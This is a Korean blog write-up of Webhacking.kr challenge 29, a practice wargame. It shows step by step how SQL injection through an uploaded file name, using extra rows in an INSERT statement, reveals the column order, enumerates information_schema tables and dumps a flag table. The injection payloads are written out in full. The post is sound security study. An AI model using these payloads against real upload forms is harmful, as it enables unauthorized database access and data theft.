요즘 알고리즘 공부하고 앱 출시한다고 해킹문제풀이를 너무 안했다.
29번 문제를 들어가면, 파일 업로드를 할 수 있는 화면이 나오고 FLAG는 다른 테이블에 있다고 알려준다.
파일명으로 SQL인젝션을 하는 문제라는 감이 왔다.
INSERT INTO 테이블명 VALUES 가 다중으로 데이터를 넣을 수 있는 특징이 있기에, 이 결과를 이용해 탐색해봐야한다.
ex ) INSERT INTO 테이블명 VALUES (‘a’, ‘b’, ‘c’), (‘d’, ‘e’, ‘f’);
time값과 ip이름값, file이름값이 insert 되는 순서에 대해 알아봐야 했다.
세 가지를 순서대로 나열하는 경우는 6가지이긴 한데,
time 값과 ip값의 자료형을 신경쓰지않고 둘다 ' ' 로 문자식으로 넘겨주면(어차피 중요한 값이 아니므로) 3번만 해보면 된다.
1. 파일이 마지막에 있는 경우
INSERT INTO 테이블명 VALUES (, , file)
2. 파일이 두번째에 있는 경우
INSERT INTO 테이블명 VALUES (, file, )
3. 파일이 첫번째에 있는 경우
INSERT INTO 테이블명 VALUES (file, , )
대강 이런식으로 위 경우들을 탐색했다.
zxc', '1234', '12345'), ('hello', '1234', '12345')#
근데 파일이 첫번째에 있는 경우에 upload success가 되는데, 파일 목록에 나타나진 않는다.
아마 select 시에 내 ip와 동일한 자료들만 불러오는 게 아닐까 싶어서 아이피값이 어디에 들어가는지도 어쩌다 구해보게 되었다.
앞으로 설명하는 모든 'ip' 구문의 ip자리에는 본인의 고정 ip가 들어가야한다.
zxc', '1234', 'ip'), ('hello', '1234', 'ip')#
세번째에 ip를 넣으니, 내가 입력한 것들이 출력되었다.
이로써 INSERT 순서는
파일명, 시간, ip주소라는 것을 알게 되었다.
flag는 another 테이블에 있다니까, 일단 데이터베이스는 같을 것이므로 데이터베이스명부터 알아보자.
zxc', '1234', 'ip'), (database(), '1234', 'ip')#
출력결과
데이터베이스명은 chall29
zxc', '1234', 'ip'), ((SELECT count(table_name) from information_schema.tables where table_schema='chall29'), '1234', 'ip')#
출력결과
테이블 갯수는 2개
zxc', '1234', 'ip'), ((SELECT table_name from information_schema.tables where table_schema='chall29' LIMIT 0, 1), '1234', 'ip')#
출력결과
하나는 files
zxc', '1234', 'ip'), ((SELECT table_name from information_schema.tables where table_schema='chall29' LIMIT 1, 1), '1234', 'ip')#
출력결과
하나는 flag_congratz
zxc', '1234', 'ip'), ((SELECT * from flag_congratz), '1234', 'ip')#
출력결과
FLAG{didYouFeelConfused?_sorry:)} 나온다.
이걸 웹케알 메뉴의 flag 메뉴에 가서 넣어주면 끝.
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 31번 (0) | 2020.10.17 |
---|---|
[Webhacking.kr] 30번 (0) | 2020.10.17 |
[Webhacking.kr] 28번 (0) | 2020.10.07 |
[Webhacking.kr] 27번 (0) | 2020.10.07 |
[Webhacking.kr] 26번 (0) | 2020.10.05 |